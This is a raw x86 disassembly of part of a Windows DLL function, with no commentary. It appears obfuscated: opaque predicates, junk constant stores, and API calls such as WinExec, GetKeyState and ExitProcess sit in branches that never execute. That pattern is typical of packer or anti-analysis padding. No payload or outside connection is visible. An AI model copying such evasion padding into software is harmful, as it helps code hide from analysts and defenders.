mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x3c], 0x9028
mov eax, dword [ebp - 0x3c]
xor eax, eax
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff6
jle 0x1002f7f0
cmp eax, dword [ebp - 0x34]
je 0x1002f801
cmp dword [ebp - 0x40], eax
je 0x1002f7fc
cmp dword [ebp - 0x28], eax
je 0x1002f7fc
mov eax, edi
cmp eax, dword [ebp - 0x34]
jl 0x1002f808
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1002f80a
mov eax, edi
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x34]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], eax
xor eax, eax
cmp dword [ebp - 0x4c], eax
je 0x1002f829
mov eax, dword [ebp - 0x1c0]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
test eax, eax
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x30], ecx
cmp byte [ebp - 0x15], 0
je 0x1002f923
xor eax, eax
mov dword [ebp - 0x40], 0xe1757117
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffe8
jle 0x1002f91c
mov dword [ebp - 0x28], edi
lea ecx, [ebp - 0xf7c]
push esi
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 0xd
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], esi
jge 0x1002f8a9
push 0xfffffffffffffffe
pop edi
push dword [ebp - 0x34]
lea ecx, [ebp - 0xf7c]
call fcn.10017435
mov dword [eax], edi
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x1002f88c
xor edi, edi
xor eax, eax
inc edi
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f8c0
push eax
push 0x23e2
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
xor eax, eax
mov dword [ebp - 0x28], 0xfffffff6
jmp 0x1002f8f6
mov dword [ebp - 0x34], 0x63f9e923
mov dword [ebp - 0x34], eax
jmp 0x1002f8ee
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f8eb
push 0x1d11
call dword [sym.imp.USER32.dll_GetKeyState]
xor eax, eax
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], edi
jle 0x1002f8d5
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xffffffe7
jle 0x1002f8c9
or eax, 0xffffffff
lea ecx, [ebp - 0xf7c]
mov dword [ebp - 4], eax
call fcn.10017430
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe8
jg 0x1002f869
xor eax, eax
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
inc dword [ebp - 0x54]
cmp dword [ebp - 0x54], 0x1d
push 0
pop eax
je 0x1002f5ff
cmp dword [ebp - 0x24], eax
jne 0x1002f94f
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
push 0
pop eax
setns al
cmp eax, dword [ebp - 0x38]
jge 0x1002f94f
xor eax, eax
jmp 0x1002f951
mov eax, edi
cmp dword [ebp - 0x2c], eax
jge 0x1002fea8
push 4
pop edi
or eax, 0xffffffff
mov dword [ebp - 0x4c], 0x69f7
mov dword [ebp - 0x3c], eax
lea ecx, [ebp - 0x468]
push edi
call fcn.100173c8
mov dword [ebp - 4], 0xe
lea ecx, [ebp - 0xae4]
mov dword [ebp - 0x4c], 0x520ea0c8
mov dword [ebp - 0x30], 0x2f20920a
push ebx
call fcn.100173c8
xor eax, eax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1002f9bd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0xa24], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1002f9a5
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jge 0x1002f9e0
push dword [ebp - 0x20]
lea ecx, [ebp - 0x468]
call fcn.10017435
and dword [eax], 0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x1002f9c5
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002f9fc
push dword [ebp - 0x20]
lea ecx, [ebp - 0xae4]
call fcn.10017435
mov dword [eax], 0xfffffffd
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x1002f9e5
mov eax, dword [ebp - 0xa24]
mov dword [ebp - 0x3c], eax
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x1002fa12
inc eax
push esi
lea ecx, [ebp - 0x468]
mov dword [ebp - 0x48], eax
call fcn.10017435
push 2
lea ecx, [ebp - 0x468]
mov esi, eax
call fcn.10017435
lea ecx, [ebp - 0x468]
mov edi, dword [eax]
imul edi, dword [esi]
xor esi, esi
inc esi
push esi
call fcn.10017435
mov ecx, dword [ebp - 0xa24]
xor ebx, ebx
cmp edi, ecx
lea ecx, [ebp - 0x468]
push esi
setle bl
add ebx, dword [eax]
call fcn.10017435
mov ecx, dword [ebp - 0xa1c]
xor edx, edx
cmp ebx, ecx
push 2
sete dl
xor ecx, ecx
cmp edx, dword [eax]
pop edi
setle cl
mov dword [ebp - 0x4c], ecx
lea ecx, [ebp - 0x468]
mov eax, dword [ebp - 0x4c]
push edi
call fcn.10017435
push esi
lea ecx, [ebp - 0xae4]
call fcn.10017435
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp dword [ebp - 0x48], ecx
sete dl
cmp edx, esi
sbb ecx, ecx
xor edx, edx
neg ecx
mov dword [eax], ecx
mov dword [ebp - 0x4c], 0xfffffff9
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xa18]
cmp ecx, eax
setle dl
xor eax, eax
add edx, 0x6f8f9ed0
mov dword [ebp - 0xa18], edx
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002fadc
push eax
push eax
call dword [sym.imp.GDI32.dll_GetRgnBox]
lea ecx, [ebp - 0xae4]
call fcn.10017430
or eax, 0xffffffff
lea ecx, [ebp - 0x468]
mov dword [ebp - 4], eax
call fcn.10017430
xor eax, eax
mov ecx, 0x4186e145
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x4c], 0xfffffffc
mov dword [ebp - 0x48], 0xfffffffa
mov dword [ebp - 0xf4], ecx
mov dword [ebp - 0xf0], ecx
mov dword [ebp - 0xec], ecx
mov dword [ebp - 0xe8], ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002fb4e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe3c], 0x7d26
xor eax, eax
inc dword [ebp - 0x10]
inc eax
cmp dword [ebp - 0x10], eax
jl 0x1002fb30
xor esi, esi
xor eax, eax
inc esi
mov dword [ebp - 0x10], eax
jmp 0x1002fb64
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1468], 0xbc43cc9f
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002fb53
mov eax, dword [ebp - 0x40]
xor edx, edx
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setle dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x40]
push 4
setne bl
add eax, 0x85a7
xor ecx, ecx
cmp ebx, eax
setg cl
or eax, 0xffffffff
imul ecx, dword [ebp - 0x40]
cmp eax, ecx
lea ecx, [ebp - 0x760]
sbb eax, eax
add eax, 0xb0b1868c
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x4c], esi
xor eax, eax
inc dword [ebp - 0x48]
mov byte [ebp - 0x15], al
call fcn.100173c8
mov dword [ebp - 4], 0x10
lea ecx, [ebp - 0x5cc]
mov dword [ebp - 0x38], 0xfffffffb
push edi
call fcn.100173c8
push 7
mov byte [ebp - 4], 0x11
pop eax
mov dword [ebp - 0x1c], eax
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1002fc11
push dword [ebp - 0x10]
lea ecx, [ebp - 0x760]
call fcn.10017435
mov dword [eax], 0x6de713a
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002fbf2
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x1002fc29
push dword [ebp - 0x10]
lea ecx, [ebp - 0x5cc]
call fcn.10017435
mov dword [eax], esi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002fc16
push 3
lea ecx, [ebp - 0x760]
call fcn.10017435
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax]
dec dword [ebp - 0x1c]
cmp eax, ecx
je 0x1002fc4e
xor eax, eax
inc eax
mov esi, eax
jmp 0x1002fc53
xor eax, eax
mov esi, eax
inc eax
push eax
lea ecx, [ebp - 0x5cc]
call fcn.10017435
push 3
lea ecx, [ebp - 0x760]
mov dword [eax], esi
call fcn.10017435
xor ecx, ecx
cmp dword [eax], esi
setge cl
xor eax, eax
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edi
jg 0x1002fd37
jmp 0x1002fc8a
xor eax, eax
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0x5cc]
push eax
call fcn.10017435
push 3
lea ecx, [ebp - 0x760]
call fcn.10017435
mov ecx, dword [ebp - 0x34]
xor edx, edx
cmp ecx, 0x17cb9
setg dl
xor ecx, ecx
cmp dword [eax], edx
setl cl
xor ebx, ebx
cmp ecx, 0xfffffffc
lea ecx, [ebp - 0x5cc]
setg bl
xor eax, eax
inc eax
push eax
call fcn.10017435
mov ecx, dword [ebp - 0x38]
xor edx, edx
cmp ebx, ecx
mov esi, eax
mov ecx, dword [ebp - 0x34]
setle dl
xor eax, eax
cmp edx, 0x2a4b15d3
setle al
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x34]
cmp ecx, dword [esi]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
cmp ecx, dword [ebp - 0x1c]
jle 0x1002fd10
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x1002fd10
mov esi, eax
inc eax
jmp 0x1002fd15
xor eax, eax
inc eax
mov esi, eax
push eax
lea ecx, [ebp - 0x5cc]
call fcn.10017435
xor ecx, ecx
cmp esi, 0xffffffff
setge cl
mov dword [eax], ecx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edi
jle 0x1002fc88
lea ecx, [ebp - 0x5cc]
call fcn.10017430
or esi, 0xffffffff
lea ecx, [ebp - 0x760]
mov dword [ebp - 4], esi
call fcn.10017430
cmp byte [ebp - 0x15], 0
je 0x100301f5
xor eax, eax
lea ecx, [ebp - 0x438]
mov dword [ebp - 0x40], eax
inc eax
push eax
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x34], eax
jmp 0x1002fd94
push dword [ebp - 0x34]
lea ecx, [ebp - 0x438]
call fcn.10017435
mov dword [eax], 0xfffffffb
inc dword [ebp - 0x34]
xor eax, eax
inc eax
cmp dword [ebp - 0x34], eax
jl 0x1002fd7d
mov ecx, dword [ebp - 0x40]
xor edx, edx
mov eax, dword [ebp - 0x40]
cmp ecx, eax
setne dl
cmp edx, esi
je 0x1002fdbb
xor eax, eax
lea ecx, [ebp - 0x438]
push eax
call fcn.10017435
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x438]
xor eax, eax
push eax
call fcn.10017435
xor eax, eax
lea ecx, [ebp - 0x438]
push eax
call fcn.10017435
xor eax, eax
lea ecx, [ebp - 0x438]
push eax
call fcn.10017435
mov ecx, dword [ebp - 0x40]
cmp dword [eax], ecx
jge 0x1002fe67
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], eax
jg 0x1002fe7d
xor edx, edx
inc edx
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jge 0x1002fe22
mov eax, dword [ebp - 0x34]
mov dword [ebp + eax*4 - 0x68c], 0x9ed890fc
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], 3
jl 0x1002fe09
xor eax, eax
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x684], edx
jge 0x1002fe5d
push dword [ebp - 0x684]
lea ecx, [ebp - 0x438]
call fcn.10017435
mov dword [eax], 0x8d46758e
xor eax, eax
inc dword [ebp - 0x684]
inc eax
cmp dword [ebp - 0x684], eax
jl 0x1002fe30
xor edx, edx
xor eax, eax
inc edx
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], eax
jle 0x1002fe00
jmp 0x1002fe7d
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002fe7b
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
jne 0x100303da
lea ecx, [ebp - 0x438]
mov dword [ebp - 4], esi
call fcn.10017430
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
jmp 0x100301f5
or eax, 0xffffffff
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x40], eax
xor eax, eax
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xfffffffc
jle 0x10030104
mov dword [ebp - 0x20], 0x5dae5a60
lea ecx, [ebp - 0x28c]
push esi
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 0x13
mov dword [ebp - 0x34], eax
jmp 0x1002fefc
push dword [ebp - 0x34]
lea ecx, [ebp - 0x28c]
call fcn.10017435
and dword [eax], 0
inc dword [ebp - 0x34]
cmp dword [ebp - 0x34], esi
jl 0x1002fee8
mov eax, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x10]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x28c]
setg dl
sub eax, dword [ebp - 0x10]
xor ebx, ebx
cmp eax, edx
push edi
setne bl
call fcn.10017435
mov dword [eax], ebx
xor eax, eax
cmp ebx, dword [ebp - 0x20]
jne 0x10030008
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x4c], 0x67647cf2
mov dword [ebp - 0x20], eax
jmp 0x1002ff5e
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ff5b
push eax
call dword [sym.imp.ole32.dll_CoTaskMemFree]
xor eax, eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jle 0x1002ff49
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor eax, eax
inc eax
cmp dword [ebp - 0x34], eax
jge 0x1002ff83
push eax
lea ecx, [ebp - 0x28c]
call fcn.10017435
xor eax, eax
inc eax
mov dword [ebp - 0x40], eax
xor ecx, ecx
mov edx, dword [ebp - 0x34]
add edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x10]
cmp edx, eax
push 0xfffffffffffffffd
setl cl
pop eax
cmp ecx, eax
jle 0x1002ffa0
mov eax, dword [ebp - 0x34]
xor edi, edi
lea ecx, [ebp - 0x28c]
inc edi
push edi
call fcn.10017435
xor ebx, ebx
lea ecx, [ebp - 0x28c]
push edi
cmp dword [eax], 6
setl bl
inc ebx
call fcn.10017435
mov ecx, dword [ebp - 0x10]
cmp ecx, ebx
push 0
pop ebx
setl bl
lea ecx, [ebp - 0x28c]
sub ebx, dword [eax]
neg ebx
push edi
sbb ebx, ebx
inc ebx
call fcn.10017435
mov dword [eax], ebx
neg ebx
cmp ebx, 0xb22c08f4
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x34]
cmp ecx, eax
setne dl
mov dword [ebp - 0x34], edx
jmp 0x100300e4
mov dword [ebp - 0x28], 0x5a9e
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x10030025
push 0x1c59
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
xor eax, eax
mov dword [ebp - 0x40], eax
jmp 0x100300db
mov dword [ebp - 0x30], 0xdff6
mov dword [ebp - 0x34], edi
cmp dword [ebp - 0x34], eax
jl 0x100300d8
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], edi
jg 0x100300cf
mov eax, dword [ebp - 0x20]
lea ecx, [ebp - 0x28c]
mov dword [ebp - 0x28], eax
push dword [ebp - 0x40]
call fcn.10017435
mov ecx, dword [ebp - 0x28]
xor edx, edx
cmp ecx, edi
lea ecx, [ebp - 0x28c]
push edi
setl dl
xor ebx, ebx
imul edx, dword [eax]
cmp edx, 0x3bd830bf
setle bl
sub ebx, 0xb582
neg ebx
sbb ebx, ebx
inc ebx
call fcn.10017435
mov ecx, dword [ebp - 0x30]
xor edx, edx
cmp ebx, ecx
setl dl
dec edx
mov dword [eax], edx
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x100300b8
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x100300b5
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], edi
jle 0x100300a3
inc dword [ebp - 0x20]
xor eax, eax
inc eax
push eax
pop edi
cmp dword [ebp - 0x20], eax
jle 0x1003004c
xor edi, edi
xor eax, eax
inc edi
dec dword [ebp - 0x34]
jns 0x10030040
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jle 0x1003002d
or eax, 0xffffffff
lea ecx, [ebp - 0x28c]
mov dword [ebp - 4], eax
call fcn.10017430
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffffc
jg 0x1002fec7
xor eax, eax
or ecx, 0xffffffff
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x44], 0x7f82
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x10030124
push eax
push eax
call dword [sym.imp.GDI32.dll_GetNearestPaletteIndex]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1003013a
push 0xd95
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
cmp eax, ecx
setg dl
xor ecx, ecx
sub edx, 0x924e
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
imul eax, dword [ebp - 0x1c]
cmp eax, 8
setl cl
cmp ecx, 0xcc39b987
sbb eax, eax
neg eax
sub eax, 0xa39b7b3f
neg eax
sbb eax, eax
inc eax
cmp eax, 0xabe9
jge 0x10030188
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x10030188
mov ecx, eax
jmp 0x1003018d
xor eax, eax
lea ecx, [eax + 1]
mov eax, dword [ebp - 0x24]
sub ecx, eax
mov eax, dword [ebp - 0x1c]
sub eax, ecx
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x38]
jl 0x100301ac
xor eax, eax
cmp dword [ebp - 0x1c], eax
jne 0x100301ac
mov esi, eax
jmp 0x100301b1
xor eax, eax
lea esi, [eax + 1]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x14]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge dl
xor ecx, ecx
cmp esi, eax
setle cl
cmp edx, ecx
jge 0x100301d7
xor eax, eax
cmp dword [ebp - 0x38], eax
jne 0x100301d7
mov edx, eax
jmp 0x100301dc
xor eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
push 2
setl cl
or esi, 0xffffffff
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x30], eax
pop edi
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff9
jg 0x1002f322
xor eax, eax
xor ebx, ebx
mov edi, 0x4643
inc ebx
mov ecx, 0x59c17633
mov dword [ebp - 0x44], ebx
mov edx, 0x3fbb4ebb
mov dword [ebp - 0x44], edi
mov esi, 0x3e31551d
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x44], 0x49cec79e
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0x71247adf
mov dword [ebp - 0x44], 0xc40ed3c1
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0xc87a7525
mov dword [ebp - 0x44], 0x9cf13e1
mov dword [ebp - 0x44], 0xd49fcfbc
mov dword [ebp - 0x44], 0x44cf5927
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x4c], ebx
dec dword [ebp - 0x4c]
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x44], 0x49cec79e
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0x71247adf
mov dword [ebp - 0x44], 0xc40ed3c1
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x44], 0xc87a7525
mov dword [ebp - 0x44], 0x9cf13e1
mov dword [ebp - 0x44], 0xd49fcfbc
mov dword [ebp - 0x44], 0x44cf5927
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x4c], ebx
dec dword [ebp - 0x4c]
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0x864]
mov dword [ebp - 0x44], 9
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x44], 0x49cec79e
mov dword [ebp - 0x44], eax
or eax, 0xffffffff
mov dword [ebp - 0x44], 0x71247adf
mov dword [ebp - 0x44], 0xc40ed3c1
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x44], 0xc87a7525
mov dword [ebp - 0x44], 0x9cf13e1
mov dword [ebp - 0x44], 0xd49fcfbc
push 0xfffffffffffffffe
mov dword [ebp - 0x44], 0x44cf5927
pop eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x4c], ebx
dec dword [ebp - 0x4c]
mov dword [ebp - 0x14], 0x152c58fb
push 3
call fcn.100173c8
mov dword [ebp - 4], 0x14
xor eax, eax
mov dword [ebp - 0x44], 5
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x10030387
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x39c], 0x58d32ffa
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x10030369
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x100303af
push dword [ebp - 0x24]
lea ecx, [ebp - 0x864]
call fcn.10017435
mov dword [eax], 0x7c8748af
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x10030390
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100303d2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2e0], 0x364d
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x100303b7
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ebx
jmp 0x100303f6
push 0x2574
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x9bc], 0x2da3c3d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x100303e5
mov eax, dword [ebp - 0x39c]
lea ecx, [ebp - 0x864]
mov dword [ebp - 0x14], eax
push ebx
call fcn.10017435
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x9bc], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x2e0], 0xc7e7
je 0x10030452
mov eax, dword [ebp - 0x2e0]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x39c]
mov dword [ebp - 0x9bc], eax
test eax, eax
je 0x10030452
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x10030454
lea esi, [eax + 1]
jmp 0x10030456
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0x864]
call fcn.10017435
or edx, 0xffffffff
mov dword [eax], esi
xor eax, eax
cmp esi, edx
sete al
xor ecx, ecx
cmp eax, 0x6c49a7e
setne cl
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x864]
mov dword [ebp - 4], edx
call fcn.10017430
mov dword [ebp - 0x14], 0x152c58fb
lea ecx, [ebp - 0x93c]
push 3
call fcn.100173c8
mov dword [ebp - 4], 0x15
xor eax, eax
mov dword [ebp - 0x44], 5
xor ebx, ebx
mov dword [ebp - 0x30], eax
inc ebx
mov dword [ebp - 0x1c], 0xfffffffa
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x100304e4
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2c0], 0x58d32ffa
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x100304c6
xor ebx, ebx
xor eax, eax
inc ebx
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 3
jge 0x1003050c
push dword [ebp - 0x24]
lea ecx, [ebp - 0x93c]
call fcn.10017435
mov dword [eax], 0x7c8748af
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jl 0x100304ed
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1003052f
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x348], 0x364d
xor eax, eax
inc dword [ebp - 0x24]
inc eax
cmp dword [ebp - 0x24], eax
jl 0x10030514
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop ebx
jmp 0x10030548
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x9cc], 0x2da3c3d
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x10030537
mov eax, dword [ebp - 0x2c0]
lea ecx, [ebp - 0x93c]
mov dword [ebp - 0x14], eax
push ebx
call fcn.10017435
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x9cc], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x348], 0xc7e7
je 0x100305a4
mov eax, dword [ebp - 0x348]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c0]
mov dword [ebp - 0x9cc], eax
test eax, eax
je 0x100305a4
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x100305a6
lea esi, [eax + 1]
jmp 0x100305a8
xor eax, eax
mov esi, eax
push ebx
lea ecx, [ebp - 0x93c]
call fcn.10017435
or ecx, 0xffffffff
mov dword [eax], esi
xor eax, eax
cmp esi, ecx
sete al
xor ecx, ecx
cmp eax, 0x6c49a7e
setne cl
or esi, 0xffffffff
imul ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x14], ecx
lea ecx, [ebp - 0x93c]
mov dword [ebp - 4], esi
call fcn.10017430
xor ebx, ebx
mov dword [ebp - 0x10], 0xc7894801
inc ebx
mov dword [ebp - 0x28], 0x2aa53f0d
mov dword [ebp - 0x30], 0xe26
lea ecx, [ebp - 0xe70]
push ebx
call fcn.100173c8
xor eax, eax
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
push 0xfffffffffffffff7
pop ebx
jge 0x10030637
push dword [ebp - 0x14]
lea ecx, [ebp - 0xe70]
call fcn.10017435
mov dword [eax], ebx
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x1003061a
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x1003064e
mov dword [ebp - 0x30], 0x2fd4
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
jmp 0x100306cf
mov dword [ebp - 0x3c], 0xbf38c088
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x10030677
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9dc], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1003065e
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x10030685
mov eax, dword [ebp - 0x3c]
xor eax, eax
mov esi, eax
jmp 0x1003068a
xor eax, eax
lea esi, [eax + 1]
push 7
pop eax
cmp dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp eax, ecx
setg dl
mov dword [ebp - 0x9d8], edx
mov dword [ebp - 0x10], esi
